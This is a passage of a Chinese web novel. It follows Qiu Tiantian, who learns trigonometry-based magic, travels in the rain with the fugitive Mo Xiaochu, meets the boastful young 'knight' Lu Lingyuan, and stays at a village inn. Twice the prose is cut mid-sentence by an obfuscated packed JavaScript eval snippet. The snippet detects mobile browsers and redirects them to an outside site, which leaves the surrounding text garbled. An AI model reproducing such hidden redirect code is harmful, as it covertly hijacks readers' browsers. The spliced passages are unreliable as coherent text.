听到她突然阴冷的声音,莫筱初大感不妙,飞速转移话题:“是、是吗……啊,你看这天,云越来越厚了呢……” 见他反应这么大,邱田恬倒是叹口气,安慰道:“他们确实不太重要,没有你的父母那么伟大,一人是开国功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156313|196555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣,一人是救世神医,按理来说,你这身份背景应该到哪都能横着走。” 说到这,邱田恬又想起那些闲话,莫筱初家世如此显赫,终究也不能避免兄弟相残。她又问道:“话说,你就要一直这样东奔西走吗?通缉的事你似乎也不是很在意。” “嗯,不过是一些误会而已。”莫筱初还是这套说辞,“如果我哥真的想杀我,我根本走不出天都,你别担心了。” 这说法更让人担心了!邱田恬内心腹诽,能杀却不杀,像是放长线钓大鱼,等着把莫筱初背后支持他的人一网打尽……但看莫筱初这样,似乎也没什么支持他的人…… 邱田恬越走越头疼,问了一圈,没问道什么有用的信息,反而更让人迷茫,不知接下来该何去何从。邱田恬想着,居然掏出包里那本魔法册子,事到如今,不如先学习吧! 许澜给她的这本魔法书很薄,这不是入门的魔法书,因为里面的许多内容都没有说明,而是直接列举咒文和效果,但对于邱田恬来说却刚刚好,毕竟她有数学基础,和连数字字母都不认识的周夏人天差地别。 册子的首页,有关于魔法的简单介绍,现存的魔法总体以五行风木水火土为基础,分为五个大类,各个大类中还有很多变式,根据不同的咒文绘制方式会有不同效果。 邱田恬翻了前几页,最基础的咒文是火魔法的分支——光魔法,而所有光魔法的咒文都是三角函数,不同类型的三角函数可以发出不同类型的光,比如正切函数是直光,余弦函数是发散光,而正弦函数是彩色光,不同的数值有不同颜色,册子里有完整色卡,看上去是需要死记硬背的东西。 就地取材,邱田恬捡根树枝,一边走一边在地上划拉,试了几个咒文,都顺利发动,看得莫筱初的惊叹连绵不绝,让邱田恬觉得又尴尬又受用,毕竟谁不喜欢被崇拜的感觉呢? 继续看下去,是那个熟悉的引火魔法,随后是进阶火魔法,看上去都和多次公式有关,邱田恬翻页后,映入眼帘的东西,她看不懂了。 她高中毕业有些年头,虽然高中数学学得不错,但几年过去,大部分早就还给了老师,更别提之后那几页密密麻麻的字符看上去早就超过高中知识的范畴。邱田恬突然开始后悔,早知道要穿越来这个世界,她就该学数学专业,而不是为了好就业去当公费师范生学英语!这异世界根本没有英语这个语言! 快速翻过几页,邱田恬终于又看见一点熟悉的内容:向量。这个概念和水魔法相关,根据空间中的向量指向,可以引导水流方向。邱田恬根据书上的示例,在地上画下符号,果然有一小股水流从四处朝着树枝尖端涌动,不一会就汇聚成一小团清水。 “真神奇!”邱田恬惊叹着,手腕转动,用树枝托着那团水,想举到眼前细看,那水团却不知怎的突然失控,朝着她头顶飞去,四散炸开,浇了她一头水。 莫筱初忍俊不禁,从口袋里拿出手帕递去:“据说水魔法是最难控制的魔法,你初次使用就能凝聚水团,已经很厉害了!” “你倒是会夸人。”邱田恬接过手帕擦脸,擦着擦着,突然觉得头顶发凉,一抬头,天空不知何时已经乌云密布,毛毛小雨滴滴落下。 17. 少侠 未等邱田恬反应,头顶一黑,一顶斗笠轻轻扣下。旁边,传来莫筱初的声音:“你先戴着吧,这路上没人,我不怕露脸。” 邱田恬把斗笠往上抬抬,拨开面前的幕纱。不过一分钟,雨水已经从毛毛雨变成小雨,淅淅沥沥地落下,不可避免地淋湿两人的衣服。邱田恬转头看向莫筱初,青年的长发已被尽数打湿,碎发贴在脸颊和脖颈上,细细的水流顺之留下。 邱田恬看得有些心虚,毕竟斗笠戴在自己头上,身上虽然也湿了不少,但她的头发还算干爽。思考片刻后,邱田恬从包里取出还未穿过的斗篷,递给莫筱初:“披着点吧,多少能挡点雨。” 莫筱初一愣,旋即笑道:“谢谢姑娘的好意,但我先不用了,大热天地,我也乐得淋淋小雨。” 他说着,抬头看看天上,阴云仍旧浓厚,这天说变就变,明明几个小时前还是晴空万里。雨水噼啪打下,落在他的眼睫之上,随后如清泪流下。 邱田恬看他这样,把斗篷收回包内,不再过多言语。刚刚,莫筱初说她母亲死于涝灾,那涝灾是否也由这样一场不起眼的小雨开始。 又走了半个时辰,这雨一点减小的意思都没有,反倒越来越大,淋得邱田恬头上的斗笠都开始渗水,最后还是把她浇了个透心凉。脚下的土路也变得泥泞起来,走一步要拔一次脚,还差点把鞋子拔下来。 没办法,两人只得现在路边的树下先避避雨,没等燃起火,头顶一闪,紧接着传来轰轰雷声。 得,这是连树底下都不让他们待。 邱田恬叹口气,拉着莫筱初又走入雨中。邱田恬本想着穿越就穿越,无非是换个世界生活,但没想到穿越以后自己的运气变得这么差,干什么都不顺心。 事到如今,也只有硬着头皮走。好在莫筱初不是个矫情的性子,淋雨踩泥也没有抱怨。又向前走了几步路,身后,突然传来“坷哒坷哒”的声音。 两人寻声回头看去,只见是一个梨木马车,四匹马小跑着踩在泥地里,带着飞溅的泥水步步踏来。马后拉着一个两米高的车子,看上去很是华贵,四角都包着软布镶着金边,车门前还有一墨绿色的丝绸帘,下面挂着一排宝石坠,随着摇晃的马车叮当作响。驾车的车夫穿着整齐地茶色襕衫,也不是便宜粗布,车里的人估计非富即贵。 邱田恬看那车还远,摘下斗笠,不客气地扣到莫筱初头上,遮住他的面容,随后赶紧靠向路边,她可不想被溅一身泥点子。 但没想到,那车离他们近了,却突然减缓下来,随后在两人木讷的目光中,停下了。 车夫微微让出一个身位,一只白皙的手拨开丝帘,随后,一个黑色的脑袋从中探出:“两位是旅人吗?不介意的话,可以来我车上避避雨。” 少年看上去十七八岁,黑发前侧较短,后侧则是梳成一条小辫子,乖巧地垂在身后。他身上穿着一身青绿色锦衣,腰上别着一柄短刀,还挂着一串珠宝,看上去好不富贵。 突然接到这种邀请,两人都是一愣,莫筱初刚想张口答应,却被邱田恬拦下:“谢谢你的好意,只不过我们身上都是雨水泥土,怕脏了你的车子。” 无事献殷勤,必有蹊跷。邱田恬戒备心重,尤其刚在渠京城里见过人贩子,这种天上掉馅饼的好事还是谨慎为妙。 谁料,车上那绿衣少年却不以为意,似乎没听出邱田恬婉拒的潜台词,大方道:“没关系,我不介意,车子脏了清洗就好,人着凉可就麻烦了。” 邱田恬还准备出言再拒,却见那少年突然一步踏出,扶着车夫跳下马车,干净的衣摆瞬间染上泥色,像枝刚刚破土而出的新芽。他又在车夫的搀扶下有些狼狈地爬上车,泥水瞬间侵染软垫,少年回头笑道:“这样我的衣服也脏了,马车也脏了,你们就不怕再弄脏马车了!” 属实是盛情难却,又确实真诚,莫筱初心软,不忍驳人面子,低声劝道:“不如就上车避避吧,有我在,他们不敢作甚。” 片刻后,两人还是上了车,车上果然暖和不少,内饰也更加堂皇,座椅把手上都镶着金饰。一上车,邱田恬才发现车上不止这少年一人,还有两个女侍,见少年带着泥进来,女侍皆是大惊,赶紧拿着手帕要跪身擦拭。 却不料这少年扶着女侍肩膀不让她们跪,怒道:“我早已说过多次,你们不是家奴,只是我的‘下属’,现在早已不是那皇帝老儿的天下,怎能随意下跪!” 女侍战战兢兢:“少爷,老爷说要伺候……” “老爷老爷,说什么老爷!既然跟着我,那就别听那老头腐朽的话!” 说完女侍,少年拿过手帕,自己擦着衣摆,余光瞥到刚刚上车的两人尴尬坐在一旁,又看看莫筱初,说教道:“这位小哥也是,和姑娘通行遇到雨水,怎能光自己戴着斗笠!” “我……”莫筱初指指自己,转头瞥向邱田恬求助,要知道斗笠在他头上也不到半刻钟,之前都是邱田恬戴的! 邱田恬面无表情:“无碍,他面容有异,不适见人。” ……行吧,看来邱田恬也很会面无表情地撒谎。 莫筱初暗自叹气,但还是先拱手行礼:“我名为小楚,还未请教小友姓名。” “我吗?”少年兴奋道,突然抽出腰间短刀,矗立身前,高昂道:“行不更名坐不改姓,‘天下风云一剑收,江湖风波我独平’——我乃青衣侠客,陆凌渊是也!” 他这段话准备已久,但是第一次说出,难免紧张,握刀的手都在抖。但此言一出,车厢里一片寂静,车前的车夫绝望地捂住眼睛。 陆凌渊看面前一男一女呆坐原地,半晌没有动静,自己也觉得尴尬,把刀收起来,乖乖坐回去,低头不吭声了。 莫筱初这才迟迟开口:“啊!原来是青衣侠客,真是久仰久仰!” 邱田恬在心中给他鼓掌,能这么生硬地附和,也是一种才能。 少年陆凌渊自然也知他是在附和,不过有人捧场,他也欣喜一些,轻咳两声,说道:“咳咳、总之本少侠正在游历江湖,行侠仗义,扫平天下不公之事!两位雨天行路,甚是不易,我不过举手之劳,也不必太过感谢……咳咳,咳咳咳……” 咳得有点太明显了吧!邱田恬对这种幼稚的行为很是无语,但身旁莫筱初擅长应付这种人,马上捧场道:“当然要感谢少侠!若不是少侠出手相助,我们怕是要被困死在这小路……呃……这大雨之中!” 陆凌渊果然眉开眼笑:“小哥、不,楚兄!哪里的话!我和楚兄一见如故,这就是缘分啊哈哈哈哈!” 似乎看不下这过于欢快的气氛,车夫轻轻敲响门框,一个沉稳的声音问道:“两位要去何处?” 邱田恬翻开地图又确认一眼:“万高村,应该已经不远了。” 车夫是个识路的,很快说道:“那很近了,向前再走一个时辰就能到。” “感谢。”邱田恬顺势谢道,还是和正常人交流舒服一些,回眼看那俩男人,陆凌渊都要拉着莫筱初现场结拜了。 饶是莫筱初,也有些应付不来,连忙摆手:“江湖之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,少年身后的女侍拿出一个布袋递给他,陆凌渊从袋中里拿出一片金叶子,上面刻着“陆”字。莫筱初推脱几番后,还是被迫收下。 邱田恬早已无心这些杂事,她一边看着地图,一边看着窗外景色,只觉得如坐针毡,想尽快下车。 好在,外面的雨水渐小,半个时辰后,天色放晴,路也好走不少,眼前路边出现大面积的耕田,还有零落小屋散落中间。 车夫道:“这里就是万高村。” 道路分出一条小道,通向农田,远远可以看见一个门头,上面挂着“万高村”三个大字。 邱田恬和莫筱初下了车,陆凌渊和莫筱初惜别,眼睛红的似乎要哭出来,居然在一个时辰里投入这么多情感。车夫也是无奈至极,把少年按在车上,二话不说就重新驾马飞驰,跑得飞快,怕是生怕这少年转头跳车要和楚兄同行。 “楚兄~~有缘再见啊~~~”陆凌渊的声音随风飘来。 莫筱初终于尴尬扶额,也没再回应他,看着手里的金叶子,长叹一口气,整个人都颓废不少。 邱田恬看出他的不对劲,问道:“这金叶子有说法?” “有大说法。”莫筱初苦笑:“陆家金叶是道‘小兵符’,凭借此物可以去任一地区的军靖所,寻求一天庇护。” 他看向马车远去的方向:“陆凌渊恐怕是军靖所大都督陆钦的小儿子。” 18. 逸闻 军靖所如其名,掌管周夏军事。大都督陆钦,年轻时原名陆青,是金台镖局的镖师。大苍一百三十七年(新政前七年),镖局被迫接下皇单,要从金台港口送货皇都,要知那时道路不畅,金台到皇都之间横亘落河与岭山,官道需要走三月,皇旨却只给一月时间,报酬也低的离谱,但迫于皇权,镖局只能硬着头皮上路。 到岭山后,镖局为了赶路不走官道,结果意外频发。野兽也好,滑坠也罢,镖局的人死的死伤的伤,最后要送的货物也坠落山崖,不得踪迹。陆青和几个伙计一合计,这还送什么,去皇都死路一条,不如直接反了。 恰逢时年干旱,南方旱灾严重,朝廷赈灾粮却被层层贪污,官员和商人勾结,高价兜售,民众苦不堪言,只能上山找食。上岭山后,却发现岭山地形崎岖,树林茂盛,偏偏还有运粮车必过岭山,所以饥饿的民众拿起武器,霸占官道,拦路抢劫。陆青和伙计们干脆直接加入流民,一道抢劫。 朝廷很快派兵剿匪,剿着剿着,变成镇压。流民们有了吃食,转眼变成岭山军,陆青这几个武夫也成了“将军”,开始带着岭山军走向山外,一路救济灾民,朝廷越压,势力越大。直到两年后岭山军走回金台,才发现金台也早已易主。 也就是在那,陆青和莫长生结识,并且在几年后,推翻大苍,实行新政。 军靖所成立后,陆青顺理成章地成为大都督,并且给自己改名为陆钦,因为“钦”字本是御用,但现在天下已无皇帝,陆钦便以此铭记,自己的一切都开始于皇权压迫之下。并警示自己也不可压迫百姓。 “陆钦大都督的事迹一直是周夏百姓口中津津乐道的传奇,但他有一事不如人意。”说到这里,莫筱初卖了个关子。 邱田恬听得正入迷,连忙问道:“何事?” “他生不出儿子。” 莫筱初道:“陆钦在加入岭山军前已与妻子有一女,本想独女也无碍,但不料自己之后身居高位,觉得还是得有个儿子继承家业。几番折腾,结果四年生了两个女儿,加上大女儿,就已有三女。” “本想再求四胎,却有一妇人带一六岁男孩到天都,说这是陆钦当年在岭山时留下的种,测了血亲,发现果真如此。所以陆钦高价打发那妇人,把男孩放在妻子名下,养着了。” 邱田恬听着,本以为那男孩应就是陆凌渊,但想想时间和年龄却对不上:“不对吧?新政已经到现在已经二十余年,但陆凌渊看上去不过十七岁,又怎可能在那时就已经六岁。” 莫筱初说:“因为那孩子不是陆凌渊。男孩被纳入陆府不久后,陆夫人又怀孕了,十个月后生下男婴,这才是陆凌渊。” “那时陆钦已经快四十岁,老来得子,自然对小儿子极度宠爱。怕这独苗被人陷害,就藏着名字不对外说,有什么场合也不带儿子去,所以我刚收到金叶,才想到这桩八卦。” “……真是好一个‘独苗’,女儿就不算苗了是吧。”邱田恬暗自叹气,虽然这里的一些制度已经发展,但还是避免不了这种封建思想。 两人一边聊着,一边顺着小路走,此时已经走入村中。此时天色近黄昏,万高村的村民都做完农活,在村口支着凉棚聊天,看有外来人走近,皆是抬头看去。 莫筱初这开朗的性子,在这种时候倒是好用,他小跑着上前,和村民们打着招呼笑道:“打扰各位了,我和朋友在旅途中途径此地,不知可否在村中借住一晚,价钱都好商量。” 谁知,村民们一听这话,天也不聊了,一群人热热闹闹围上来,围着两人走入村中,只见那赫然有一栋三层高楼,上面标着“金麦客栈”。客栈门头落灰,但看得出来,内饰都很新,看上去像是新开业不久。 邱田恬想起自己在地图册上看见万高村的描述,说这村子秋日有千亩金色麦田,景色怡人,这客栈估计就是为了秋季旅游的客人而准备。 现在正值夏季,田里的麦穗绿油油一片,村里也几乎没有旅客,客栈空着也是空着,有两人要住店,村民们自然乐得不行,也不说看什么身份文牒,见人掏出钱就足够了。 不过半柱香,两人就已经坐在软和的床榻上。还是两间相对的屋子,两人分别放下行李,在大堂吃了点农家小菜后,邱田恬终于能去洗澡了。 来万高村真是个正确决定,这个带点旅游属性的小村落,客栈设施齐全,澡堂里还有一池小温泉,水温正好,邱田恬走入时,只感觉几天的疲惫都一扫而空了。 这客栈很便宜,以两人现在的积蓄,住一个月都没问题。莫筱初不着急回家争夺家产,邱田恬也不瞎操心,在客栈住上一段时间研究魔法也不错。但之后呢,之后怎么办?总不能一直和莫筱初过着东躲西藏的日子。 半晌后,邱田恬决定先不想这些,嗯,尊重他人命运,大不了等自己学会魔法,找个机会把他甩了,自己凭借魔法才能成为稀有人才,自然不愁活路。 如此逻辑下,邱田恬果然愉悦不少,哼着歌洗完澡,换好衣服走出澡堂,准备上楼回房间休息,却看见莫筱初不知问掌柜要了什么,手中端着一个托盘,也刚上楼梯。 “这是什么?”邱田恬好奇走上前,只见莫筱初手中的托盘有一小碟白胶,几张薄宣纸,还有一些各色的液体,像是颜料。 莫筱初神神秘秘地,端着东西回房间,把门关严实,才取下头上斗笠,露出那张姣好的面孔:“姑娘今天那句‘面容有异’给我提供了灵感,我想在面容上做点伪装,不然总是被人追着跑。” “你也知道啊。”邱田恬被他这句话逗乐,想到两人从秋山镇落荒而逃,又从渠京落荒而逃,确实很是滑稽,“话说我在渠京帮了你,会不会我也上通缉令了?” 莫筱初手上动作一顿:“应该不会吧……”他如此说着,但好像也有些没底气:“要是他们把你也放上通缉令了,那我就去找他们理论!” “傻子,你这不自投罗网吗。”邱田恬叹气,但这份心意她收到了,心里也暖洋洋的。 她看着莫筱初捣鼓面前的材料,他先在手背上涂了一层白胶,再覆盖揉皱的宣纸,白胶干透后,那层宣纸就像是皱起的皮肤,看上去略显恐怖。 莫筱初继续拿起笔,沾了点褐色墨水,在纸上涂涂画画:“这样看着真吗?小时候调皮,我经常画这种东西去吓我哥。” 邱田恬看着他的手背,此时褶皱的宣纸浸上褐色墨水,像是刚被烧伤后还在愈合的皮肤,皱皱巴巴,似还有点点血迹渗出,乍一看骇人无比。邱田恬抬头看向莫筱初光洁如玉的面庞,有些不可置信地说:“你打算在脸上画这个吗?” “对,”莫筱初点点头,“你觉得如何,不仔细看的话,应该看不出端倪。” 起止看不出,这怕是会吓到人。“你倒是豁得出去。”邱田恬调侃道,她托着腮,看着莫筱初举着手背在灯光下欣赏自己的杰作,像个 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莫筱初把东西推到邱田恬面前:“你看看,是不是能用到。”那几本书都是魔法书,偏基础,对于现在的邱田恬来说倒是用处不大,她看许澜的那本册子足以,但想到莫筱初这几日离开居然找来这些东西,邱田恬一时间不知该说什么。 看她呆愣,莫筱初赶紧拿起那个木盒:“还有这个,之前看你一直盯着合乐手里的,我就猜你也想要。” 木盒打开,一只毛笔静静躺在丝绸软垫之中。笔杆像是沁了血的红木,侧面雕刻莲花花纹,环着金边,奢华无比。笔锋则是白色的狼毫,根根分明,似有白光萦绕。 “这……”邱田恬语塞,她伸出双手拿出那只毛笔,笔杆很轻,但此时却如有千金重,压着她手指颤抖。她看见毛笔尾部雕刻的法阵,毫无疑问,这是支空痕笔。 莫筱初眉眼盈盈,他心想邱田恬一定喜欢这个礼物,却不料下一秒,邱田恬把空痕笔放回盒中,又把盒子推回莫筱初面前:“这太贵重了,我不能收。” 这下,莫筱初的笑容僵住,他有些急切地又把盒子推回去:“这是我送你的礼物,为何不能收?” “不收。”邱田恬却好似下定决心,别过头去,“你的心意我领了,我很开心,但这种东西我不能收。” 无功不受禄,她知道这个道理,邱田恬不想之后因为手下笔而欠什么人情,更不想因此被桎梏。莫筱初单纯,他看不出邱田恬的顾虑,他只知道哪有魔法师不想要空痕笔,被如此拒绝,他反而觉得是自己的问题,踌躇道:“我……是我有哪里做的不好吗?我知道我这几天离开的有点久,我想给你最好的……” 邱田恬心中一颤,但还是不看他:“不是你的错,你很好……是我的问题。” 若说莫筱初有什么错,那或许错在不该对她这么好。 莫筱初还想再劝,却听到门口突然响起急促地敲门声,他反应迅速,把木盒盖好收入囊中。邱田恬看他收好宝物,才走上前开门,只见门口站着一男子,身着甲胄,身后还跟着两个随从。 男子面色冷硬,剑眉星目,下颌有胡茬,看上去许久未修剪,赫然一幅军人模样。他拿出画卷,在两人面前展开,问道:“你们可有见过此人?” 邱田恬以为是追查莫筱初的人,刚准备说没有,却发现那画像上的人不是莫筱初—— 是陆凌渊。